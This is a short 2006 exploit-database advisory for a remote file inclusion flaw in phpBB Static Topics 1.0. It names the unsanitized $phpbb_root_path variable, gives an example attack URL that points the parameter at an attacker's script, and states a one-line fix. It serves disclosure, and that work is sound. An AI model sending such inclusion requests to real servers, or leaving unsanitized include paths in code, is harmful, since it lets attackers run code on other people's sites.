phpBB Static Topics 1.0 - 'phpbb_root_path' File Inclusion

EDB-ID:

2477


Author:

Kw3[R]Ln

Type:

webapps


Platform:

PHP

Date:

2006-10-04


---------------------------------------------------------------------------
phpBB Static Topics <= 1.0 [phpbb_root_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : phpBB Static Topics
version : 1.0
URL : http://www.nivisec.com/downloads/phpbb/static_forums.zip
------------------------------------------------------------------


Exploit:
~~~~~
Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~
declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

# milw0rm.com [2006-10-04]